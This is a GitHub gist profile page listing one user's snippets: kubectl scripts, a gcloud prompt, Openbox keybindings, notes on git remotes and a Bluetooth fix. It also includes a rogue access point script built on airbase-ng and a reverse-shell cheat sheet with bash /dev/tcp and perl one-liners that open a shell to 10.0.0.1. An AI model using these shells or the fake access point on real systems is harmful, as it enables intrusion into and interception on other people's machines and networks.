Skip to content

Instantly share code, notes, and snippets.

View arrase's full-sized avatar
🏠
Working from home

Juan Ezquerro LLanes arrase

🏠
Working from home
View GitHub Profile
@arrase
arrase / kubectl-ubuntufs
Created February 16, 2024 09:01
Run pod and mount volume from command line
#!/bin/bash
PVC=$(kubectl get pvc -o jsonpath="{.items[0].metadata.name}" 2> /dev/null)
[ -z "$PVC" ] && echo "No encuentro ninguna PVC en este namespace" && exit 1
kubectl run ubuntu --image ubuntu --rm -ti --restart=Never --overrides="
{
\"spec\": {
\"containers\": [
@arrase
arrase / add-bin.sh
Last active February 16, 2024 09:02
Upload busybox binaries to kubernetes pods
#!/bin/bash
help(){
echo
echo "Usage:"
echo "add-bin.sh <bin_name> <pod> <dest_path>"
echo
echo "Example:"
echo "add-bin.sh vi my-pod-5df5467c97-fqbzw /mnt/disk"
echo
@arrase
arrase / .gcloud-ps1.sh
Last active December 5, 2023 16:38
Simple gcloud prompt for zsh
#!/usr/bin/env bash
# Copyright 2023 Juan Ezquerro LLanes
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
@arrase
arrase / gist:c3fccb12d217188d00ac743bc72f9c8a
Created January 17, 2022 18:03
Openbox: resize windows
In the <keyboard> section in your ~/.config/openbox/lxqt-rc.xml file, add:
<keybind key="A-Left">
<action name="UnmaximizeFull"/>
<action name="MoveResizeTo">
<width>50%</width>
<height>100%</height>
<x>0%</x>
<y>0%</y>
</action>
@arrase
arrase / git-pushing-multiple.rst
Created April 15, 2020 13:40 — forked from rvl/git-pushing-multiple.rst
How to push to multiple git remotes at once. Useful if you keep mirrors of your repo.

Pushing to Multiple Git Repos

If a project has to have multiple git repos (e.g. Bitbucket and Github) then it's better that they remain in sync.

Usually this would involve pushing each branch to each repo in turn, but actually Git allows pushing to multiple repos in one go.

If in doubt about what git is doing when you run these commands, just

@arrase
arrase / git-pushing-multiple.rst
Created April 15, 2020 13:40 — forked from rvl/git-pushing-multiple.rst
How to push to multiple git remotes at once. Useful if you keep mirrors of your repo.

Pushing to Multiple Git Repos

If a project has to have multiple git repos (e.g. Bitbucket and Github) then it's better that they remain in sync.

Usually this would involve pushing each branch to each repo in turn, but actually Git allows pushing to multiple repos in one go.

If in doubt about what git is doing when you run these commands, just

@arrase
arrase / rogue_ap.sh
Last active June 6, 2018 12:29
Rogue AP with aircrack-ng
#!/bin/bash
# Run: ./rogue_ap.sh <internet-interface> <wlan-interface> <ESSID>
airmon-ng start $2
airbase-ng --essid $3 mon0 &
# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
# echo "1" > /proc/sys/net/ipv4/ip_forward
@arrase
arrase / raspi-zero-w-fix-rfcomm.txt
Created April 9, 2017 21:14
This error is due to incompatibility issues with BlueZ 5 and SDP with bluetoothd
Make sure, running sdptool browse local gives following error:
Failed to connect to SDP server on FF:FF:FF:00:00:00: No such file or directory
As it turns out, the culprit is bluetoothd, the Bluetooth daemon. Using SDP with bluetoothd requires deprecated features for some silly reason, so to fix this, the daemon must be started in compatibility mode with bluetoothd -C (or bluetooth --compat).
Find location of bluetooth.service by:
systemctl status bluetooth.service

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

  bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

  perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#!/bin/bash
cd /sys/kernel/config/usb_gadget/
mkdir -p isticktoit
cd isticktoit
echo 0x1d6b > idVendor # Linux Foundation
echo 0x0104 > idProduct # Multifunction Composite Gadget
echo 0x0100 > bcdDevice # v1.0.0
echo 0x0200 > bcdUSB # USB2
mkdir -p strings/0x409